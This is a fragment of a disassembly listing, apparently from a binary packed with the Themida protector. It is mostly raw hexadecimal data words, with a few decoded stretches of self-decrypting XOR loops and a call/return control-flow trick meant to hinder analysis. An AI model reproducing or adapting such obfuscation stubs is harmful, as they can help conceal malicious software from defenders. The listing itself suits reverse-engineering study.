0DEDB8100h, 0E8163167h, 0Ah, 88BF6076h dd 0CD90123Fh, 8B515A61h, 102DD59Dh, 0E95F5F06h, 3Bh, 1FC1B589h dd 8D8B0610h, 0FFFFFFFFh, 83FA8B66h, 840F01E1h, 23h, 0C1CB8166h dd 0FFA5833Eh, 0FEFFFFFFh, 6870Fh, 9D8B0000h, 6100975h dd 19589h, 0E90000h, 8D000000h, 144FD5B5h, 0E9BD8B06h dd 29061007h, 101449BDh, 89006A06h, 101915B5h, 0C995FF06h dd 6A061031h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 942CC353h, 0A098D09h, 9D8B0610h dd 61004CDh, 21CDBD8Bh, 2EB90610h, 6600000Fh, 0EB55CF81h dd 60FCE183h, 2ED18501h, 0D38A0610h, 6AFC61h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0DB904C3h dd 58949DA6h, 0C02BF9C8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0F2C35040h, 0C49AB79Eh, 18C5858h, 1005619Dh dd 0F5506006h, 65DB815Eh, 616BB4F8h, 0BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 11784779h, 0E59529B8h, 0AD06100Dh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 8F91C351h, 279D8D29h, 880D0610h dd 0E9000000h, 7, 0B0E4AEB7h, 8B15CC3Ah, 1009F595h, 89858906h dd 8B061015h, 1023198Dh, 0D9B70F06h, 28298D89h, 8B500610h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C6C35141h, 6AB112h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0E2BBD0C3h, 0F11B9F04h, 80F63540h, 0BD8391D7h, 6101E29h dd 0C8840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 3ECDC356h, 0C521D995h dd 56601DE5h, 41BD8B5Eh, 61061012h, 0B8h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 80124FBEh, 0FCC5CB7h, 0C8Bh, 6810F00h, 89000000h, 1023618Dh dd 858D8D06h, 6A06104Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0E179C357h, 660C2698h dd 0E95547BFh, 0Bh, 8DD4974Ch, 74D38B44h, 0FF9B51F2h, 56006AE1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6C661343h, 857680CBh, 83F914EBh, 1022C1BDh, 840F0006h dd 4B3h, 1C91B589h, 0BD830610h, 61022C1h, 0BB840F01h, 0F000004h dd 781h, 87BB5300h, 5F5039EBh, 22C1BD83h, 0F030610h, 46B86h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 8478E4B6h, 0E897A5AFh, 13h, 7FD12C9Ch, 5FD93DAh dd 0FE51BFFFh, 0C0E6E17Fh, 0E95DA4A2h, 10h, 4082700Dh dd 70E691DCh, 0BCC08025h, 0AE10C602h, 6A605Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 4FC60BC3h, 0BD09F6AAh, 61006BDh, 0DA99D29h, 8C660610h dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 99D892AEh, 14E9h, 141B5400h, 0B4F1273Ch dd 0A2ACB600h, 1828FF18h, 87250165h, 4E1803Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E1C35242h, 0A78D0948h dd 4586C9E9h, 0FC90A92h, 17884h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AB336A42h dd 85898EADh, 6101A89h, 2185858Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F1E435C3h dd 0A0EA385Bh, 0F7818E0Ah, 3548FA23h, 14E9h, 55759600h dd 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 0FD8533E7h dd 6A061011h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0A028C356h, 895037D8h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0CE0DD1C3h, 9D2B49CEh, 6100771h, 0BB66006Ah, 0B66879CDh dd 669E5219h, 481FE8Bh, 0CCEA4924h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 1D86AB9h, 16534C22h dd 95FF0AB7h, 61005D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 4AC35242h, 0F855F1Dh, 88Fh, 0DD806000h dd 0D3BF0F52h, 65B58961h, 89061005h, 13C26D85h, 0DAB70F06h dd 20CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0A7B781A5h, 6AFCF73h, 10E9h, 2FE75400h dd 9C552BB1h, 78059C8Dh, 0CC93BB7Fh, 65858B9Ch, 6A0613C2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0C18EC350h, 7D7D2D72h, 0FE8B668Dh, 1800C7h dd 0B5890000h, 6100639h, 0C269B58Bh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F3864FC3h dd 9B2C3EB2h, 85891EF2h, 610171Dh, 0E25858Bh, 6A0610h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 720762C3h, 5CA36923h, 3108F538h, 102EA1B5h, 0F068906h dd 38Bh dd 0DFBF0F00h, 2185858Bh, 81660610h, 89532CE7h, 0BD8B0446h dd 6101F8Dh, 52505096h, 0AE9h, 19471000h, 3D3AE378h, 0FAD59BBh dd 6E931h, 53E90000h, 4069EE1Dh, 8B96585Ah, 101EA59Dh dd 65B5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 9836C350h, 3F778165h dd 3C24A44Bh, 481BD8Bh, 0C7680610h, 0E9551AEBh, 0Dh, 3BACE58Ah dd 2B9FD419h, 0CA5251CBh, 2434810Eh, 5505E838h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 5858930h dd 8D061028h, 13C26D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0B0BA8614h, 87506430h dd 0E9D98B66h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh dd 0AFB3BB50h, 489271Eh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0D565C01h, 0F30B638Dh dd 899D29A1h, 29061014h, 10112D95h, 0D595FF06h, 8B061005h dd 840F61FBh, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+61022C1h], 3 push ebx mov [ebp+6101095h], edi pop edi cmp dword ptr [ebp+613C26Dh], 0 jz loc_599478 mov ebx, [ebp+6100C11h] jmp loc_599493 ; --------------------------------------------------------------------------- mov [ebp+610063Dh], ecx loc_599478: ; CODE XREF: Themida_:00599461j ; Themida_:0059948Fj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_599478 jmp short loc_5994C9 ; --------------------------------------------------------------------------- loc_599493: ; CODE XREF: Themida_:0059946Dj ; Themida_:005994AAj push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_599493 jmp short loc_5994C9 ; --------------------------------------------------------------------------- loc_5994AE: ; CODE XREF: Themida_:005994C5j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5994AE jmp short $+2 loc_5994C9: ; CODE XREF: Themida_:00599491j ; Themida_:005994ACj mov eax, eax push 0 push ebx call sub_5994D6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5994D6 proc near ; CODE XREF: Themida_:005994CEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5994D6 endp ; --------------------------------------------------------------------------- dw 3ED0h dd 44BC02A2h, 0E9A78BD8h, 6, 81FA897Dh, 0BD83613Eh, 61022C1h dd 6A850F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 76CEC351h, 51CB8151h dd 5F45E8C9h, 616664BFh, 6DBD8355h, 613C2h, 433840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0CC00EAC3h, 15A99D8Bh, 0B5FF0610h, 613C26Dh, 32B31FBBh dd 0B315BF7Bh, 95FF720Fh, 6102FA5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0A0C35646h, 0E98665F7h, 1F0F09BAh dd 0C985896Fh, 8906101Dh, 1001D9BDh, 61B58B06h, 0F90613C2h dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 3D063FC3h, 96F51DEFh, 0CA98BF66h dd 14E850h, 0C06B0000h, 8D6116B1h, 0D3B008Fh, 0C4F1D7A0h dd 0F47D629h, 8B662C0Dh, 0E9965FD8h, 8, 625F44D1h, 28D3BF71h dd 0C26DB5FFh, 95890613h, 6103199h, 122595FFh, 85290610h dd 6100DF1h, 0C261B58Bh, 57BB0613h, 8B698487h, 1021D185h dd 0C5BD2306h, 8906101Ah, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0C463B828h dd 0F9F7E443h, 8D898D67h, 6100621h, 9F5958Bh, 81660610h dd 83BA1BF7h, 0FE904C2h, 7000000h, 67415C5Ah, 19750285h dd 0E5D98BEh, 5089F0D0h, 6AE78120h, 8D28ABA4h, 13D7C285h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0AA72EC15h, 1A852F3Bh, 459589BBh, 8906100Ch dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 816648F2h, 0FBF47EBh, 6AF8B7h, 6DB5FFF5h dd 890613C2h, 1022A18Dh, 9595FF06h, 6A061004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 48ECC355h, 3E2379AAh, 0F5BADCBFh, 8BBB5042h, 895DD811h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 513BA4C3h, 12E84BA2h, 40000000h, 0B5F87951h dd 0F40897E0h, 895C6220h, 8F1C905Bh, 5800FB9h, 0BF000000h dd 350ED703h, 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DF1FC356h dd 79D5EFE5h, 55C78166h, 359D8B40h, 0FF061019h, 10162D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 9E97Fh, 0F4640000h, 58C43ECh, 8B4E88E8h dd 102FD5BDh, 51BD8306h, 61013h, 5D840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 46EA2EC3h, 0B589F960h, 6102825h, 7E85061h, 36000000h dd 0B4A1645Fh, 0FC8AC370h, 2434895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0F5C35040h, 359D8B37h, 0FF061009h dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 21BD8BA5h, 0FF06100Ah, 100C1995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 73E03115h, 6890Fh, 0BD8B0000h, 6100E9Dh dd 0FF75DF80h, 13C26DB5h, 0CD850906h, 89061021h, 102D21BDh dd 2195FF06h, 6A061016h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0DEE8C355h, 7F712244h dd 535E4FBAh, 1800Fh, 8BFC0000h, 102A95BDh, 89BD8306h dd 206100Fh, 49840Fh, 7E90000h, 0E9000000h, 6E36434Eh dd 0BD0972DEh, 610241Dh, 10C5858Bh, 0BD330610h, 610131Dh dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 5D84C355h, 0C03512C2h, 6672F01Bh dd 0C78AEEBBh, 102A2585h, 6, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0CAF31EF4h dd 26E344A5h, 0F259E955h, 9E8FFFFh, 0FD000000h, 0C7382E90h dd 0EF1C1FFh, 8B5BB4B7h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8DF98BDBh, 1013B985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0D2059E50h, 8B602644h, 100F31B5h, 0F2BF0F06h dd 8B665061h, 240489D8h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BD31ABC3h, 6101C0Dh dd 858D006Ah, 614E71Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 70C35747h, 8BF42096h, 100645BDh, 5C08306h dd 0E990D88Bh, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h, 6650B5D3h dd 5690FE8Bh, 5BF88B66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0BE7A2DC3h, 0DF8B66FBh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0D67A15C3h, 23499D8Bh, 95FF0610h, 6101D19h dd 0C840Fh, 810F0000h, 6, 870Fh, 8D8D0000h, 613AFD8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 6658C7CBh dd 0FF5E48BFh, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 47A9E4ADh, 9589F028h dd 6102795h, 5ED78166h, 9BD8370h, 1061022h, 6D850Fh, 9D890000h dd 6102D45h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0A86DC4C3h, 0F4F229C8h, 0CB816622h dd 0F509A6Eh, 280h, 89D88B00h, 0B5892404h, 6100CA1h, 28719D89h dd 95FF0610h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 42C35343h, 0E9AF32A0h, 0F0Fh, 0E8h, 0ED815D00h dd 614E726h, 2DBD8B60h, 0F06100Ah, 68Ch, 8DBD8B00h, 61061020h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h dd 69A8D454h, 0B4115C8Ah, 0BD315651h, 6102F89h, 858D5B5Bh dd 61399B6h, 1479B589h, 0E9900610h, 0Bh, 0E7864B71h, 1C5BD5A1h dd 50FB6668h, 16E4BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 92F42299h, 3FA6FF36h dd 0FF64D98Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0D67A1580h, 7A7137D2h dd 2DBD8BEAh, 64061031h, 2589h, 0BB660000h, 85FFFCD2h dd 6101419h, 6E8h, 52C7F500h, 0E96D94D0h, 11h, 3934396Ch dd 3BDDDC2Ch, 0F8113808h, 5BA1351Dh, 0FF6A5B48h, 83CB8166h dd 0F88B663Ch, 1F51B5FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0A2D119C3h, 84B0AECBh dd 9DA6F381h, 9589566Bh, 6100EF9h, 61595FFh, 40E90610h dd 8B000001h, 100F7D9Dh, 6600B006h, 0E6FD91BBh, 0FE8B6670h dd 0FF871E4h, 613CDEBFh dd 121830Fh, 0FF80000h, 0BD8BC8B6h, 6100655h, 6BAh, 7E900h dd 35CE0000h, 2A15F094h, 89C18B55h, 10099185h, 4E8C106h dd 758D8960h, 89061023h, 101F059Dh, 0F7666106h, 1D890FE2h dd 0E8000000h, 11h, 0FBE77058h, 7BC5F700h, 91AB57F8h, 2B50985Bh dd 0E4EB81FAh, 5F037AF2h, 880FC82Bh, 0Ch, 6830Fh, 0BD8B0000h dd 61004E5h, 0BD8BD18Bh, 610310Dh, 95DA46BBh, 0A1E900h dd 0DE8B0000h, 141D9D09h, 858B0610h, 4, 0FE9h, 0D75A7800h dd 0F5FD432Bh, 80F5A03Bh, 0A498BF70h, 4ADB8166h, 7C083F9h dd 83D7F380h, 515100C0h, 5B5B5B50h, 0FDB50DBFh, 0FD03B66h dd 2983h, 0EE800h, 0BDEE0000h, 3B22F619h, 72341CE7h, 20688662h dd 5E9h, 6C770800h, 0E95FD20Ah, 3Bh, 0C35B531h, 8D8B0610h dd 0FFFFFFFFh, 5919D8Bh, 0E1830610h, 20840F01h, 8B000000h dd 10168D9Dh, 0FFA58306h, 0FEFFFFFFh, 9589D88Ah, 4, 30DD9589h dd 0E90610h, 8D000000h, 145F03B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0B71806B0h dd 0B529519Dh, 6101065h, 0E9006A5Bh, 8, 3B021BBAh, 83F5B507h dd 31C995FFh, 0B9F80610h, 104Bh, 3025BD8Bh, 0E1830610h dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0D3816642h, 53FCCFC9h, 0B85BF9h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0BD65C351h, 0BDA8689Eh, 89F7BB63h, 1031558Dh dd 0E59D8B06h, 2B061010h, 51006AD2h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0D99D8BA4h dd 0AD06102Eh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 7795C356h, 1EBCBF73h, 0BD23131Dh, 61008B5h, 2A35BD8Bh dd 880D0610h, 0F000000h, 682h, 8D9D8900h, 8B061020h, 1009F595h dd 68E0F06h, 81000000h, 0DAA1B7CBh, 0DD953136h, 8B061027h dd 1023198Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B77480Fh, 1006099Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 180C356h, 101AF1B5h, 6E806h, 31920000h, 97D5B567h, 2EF19D29h dd 835B0610h, 101E29BDh, 840F0006h, 4Fh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 67C35646h, 0B8DFh dd 8DF90000h, 104E858Dh, 8BEBBB06h, 0E1FF7020h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BDC35242h, 83E7BECEh dd 1022C1BDh, 840F0006h, 468h, 0AD83F1BFh, 1D852965h, 8306100Ch dd 1022C1BDh, 840F0106h, 46Bh, 13E9h, 0D7450D00h, 9649183Ch dd 4D1CAEBFh, 0AC67E284h, 5E938D3Dh, 22C1BD83h, 0F030610h dd 41086h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 7FA2FDDEh, 0E231A7A5h, 9D8B4492h dd 61000E9h, 51958960h, 66061016h, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 3ADC53C3h dd 8A0F1D50h, 6, 619BD2Bh, 0E1800610h, 57006A04h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 6656AC99h, 0F91EDF81h, 0FC90A5Fh, 1A784h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 8B6657B4h, 858B5FFEh, 6102185h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A5C35141h, 0D88A02D8h, 11FD8533h dd 8EBB0610h, 662BBEBAh, 0BF90FE8Bh, 382CC713h, 3860F50h dd 66000000h, 6A90F88Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 8205C351h, 49BD8BC3h dd 6A06101Eh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 757DF527h, 0F925FBEAh, 0CE9A5h, 96650000h dd 0C8526FC3h, 2F45D513h, 4E8FFEFh, 0FF000000h, 60001F03h dd 6FB82EBAh, 8DBF6624h, 0E9506161h, 0Eh, 7151086Ah, 8FDDC84Ch dd 0B1F8BD0h, 448B635Fh, 8B660424h, 0E9008BF8h, 0Eh, 9DEB8C09h dd 0C2C7E587h, 6FB8D4E4h, 44896BB1h, 50570424h, 0F88B6652h dd 0DE8A310Fh, 585B585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 67C35747h, 2D099531h, 3CB70610h, 5D595FFh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4F974DC3h, 0B01D15F5h, 603FFD1Dh, 20E9BD8Bh dd 8D890610h, 61020CDh, 4ABF6661h, 6D8589CAh, 8A0613C2h dd 186E9FEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9529FCC3h, 6100065h, 0C265858Bh dd 8B660613h, 1800C7DEh, 8B000000h, 1006259Dh, 69B58B06h dd 6A0613C2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 9860C351h, 0BD1E565Fh, 0D78A12C9h dd 535CA4BFh, 25858B2Fh, 0E906100Eh, 7, 0E74C9644h, 893C8997h dd 0EFBF6606h, 85858BA1h, 6A061021h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F8EBC350h dd 7175EAA7h, 5D79DCA8h, 8819EF81h, 468972D2h, 0C59D2904h dd 9606102Dh, 0FAB0BF66h, 12E89650h, 7E000000h, 0D329BBEDh dd 90CBDC12h, 23D44D6Ch, 9F1B7DABh, 1C781E8h, 5F3C75E0h dd 0C265B5FFh, 9D8B0613h, 61023B1h, 7A4FB968h, 7E87Dh dd 100B0000h, 72FFA27Dh, 34815BCBh, 654C4624h, 8DD88B7Dh dd 13C26D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0FC094975h, 23CD6A9Ch, 2890F32h dd 0B3000000h, 12E9E0h, 60A30000h, 0F62C2BE2h, 3A49245Fh dd 57A4CCBBh, 5B302DB7h, 0DA8B6650h, 8B240489h, 101CFD9Dh dd 0D595FF06h, 6A061005h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0A3C1C357h, 1C258D89h dd 0FB8B0610h, 85C7F961h, 61022C1h, 3, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0B9C35141h, 0DA18D01h, 0BD830610h dd 613C26Dh, 3A840F00h, 0F000000h, 683h, 0D2F78100h, 0E97C5DD6h dd 44h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h dd 0C35141h, 209425FCh, 89F98B66h, 1031798Dh, 0C305006h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 84C35747h, 295026E4h dd 297440AAh, 6810FE6h, 8B000000h dd 1032A19Dh, 0F8BF0F06h, 22C1BD83h, 0F030610h, 55385h dd 27EF8100h, 83231C91h, 13C26DBDh, 840F0006h, 540h, 1EC5BD8Bh dd 0B5FF0610h, 613C26Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 4CC35343h, 942BCAB1h, 5DBF58DEh, 0FF6E19B3h dd 102FA595h, 0D5958906h, 8B061010h, 13C261B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8166FA47h, 0E8FBD5CBh, 12h, 597BC45Bh, 903A1CEDh, 0F3A00965h dd 929A9D24h, 890F576Ch, 5, 0A783CDBBh, 6C75B62h, 10001h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h dd 1D5DE1A4h, 50075A08h, 80243489h, 0B5FFCCF3h, 613C26Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h dd 11B9BD8Bh, 95FF0610h, 6101225h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 60C35747h, 58225509h, 0BD8B7896h dd 6102A8Dh, 0C261B58Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 47699FC3h, 21D1858Bh dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 1E0224C3h, 0C7BDE4B1h, 8589BEAAh, 610004Dh dd 0FB59501h, 86890610h, 0C4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 57C35545h, 58A0Fh, 0AFBF0000h dd 0F945F923h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0C185C4C3h, 0FAC9D53Fh dd 666B26C1h, 7A79CF81h, 2205BD8Bh, 0C2830610h, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 89BC0F90h, 8DF92050h, 13D7C285h, 9DBB6606h, 0B886892Fh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 207DC352h, 0CB816695h, 0BF0F42F5h dd 0CDBD0BF9h, 6A061032h, 860F5700h, 6, 860Fh, 665B0000h dd 0CE0EF381h, 0C26DB5FFh, 9D8B0613h, 6102E3Dh, 49595FFh dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 8C2FCCC3h, 0B9DF8166h, 0D8BF0F4Fh, 9D65BB50h dd 34894C44h, 799D8B24h, 0FF06100Eh, 13C26DB5h, 799D0906h dd 0FF061027h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6A82C2EDh dd 83D98B66h, 101351BDh, 840F0006h, 0A2h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 54C35343h, 96CC4D74h dd 13E896h, 3D370000h, 0A954C516h, 5908E257h, 0C7667C2Ch dd 0D9953ECDh, 0CE921h, 648B0000h, 8DA0A30Dh, 0A450AB58h dd 505F0B4Bh, 6A96FC8Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5E99C355h, 10E960h dd 3D260000h, 0A4411B4Fh, 0B556D4EAh, 0B6CE257Eh, 8153E952h dd 0D9D2DCF7h, 0E9615E7Dh, 12h, 0EF406B4Fh, 0A4077446h dd 0B56504A0h, 0FBF09A4Bh, 0B5FF72EBh, 613C26Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 39C35747h, 3DE5A535h dd 4E16544Ch, 9E9B2h, 0CDD20000h, 0A0E7CF1Bh, 0FFC3C1E1h dd 100C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 4F9C4F68h, 2471B9A0h, 3602CABh, 1006D98Dh dd 8DBD8906h, 6106100Ah, 58C0Fh, 81660000h, 0FF37F0E3h dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 9DCEDA30h, 2F8C8D0Ch, 12E8CCh, 0E4650000h dd 0C6A41DE1h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 11E8h dd 9B3B4600h, 50E9AC93h, 60C2AB12h, 0B54B3E0Bh, 6E946D1h dd 9000000h, 0FBA081C4h, 8B5F5B3Bh, 8E9DAh, 0CE360000h dd 7310E141h, 95FF67C6h, 6101621h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0D9C35343h, 0C20E5FC0h, 2840Fh dd 0CFB30000h, 8C0Fh, 0BD830000h, 6100F89h, 6B840F02h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 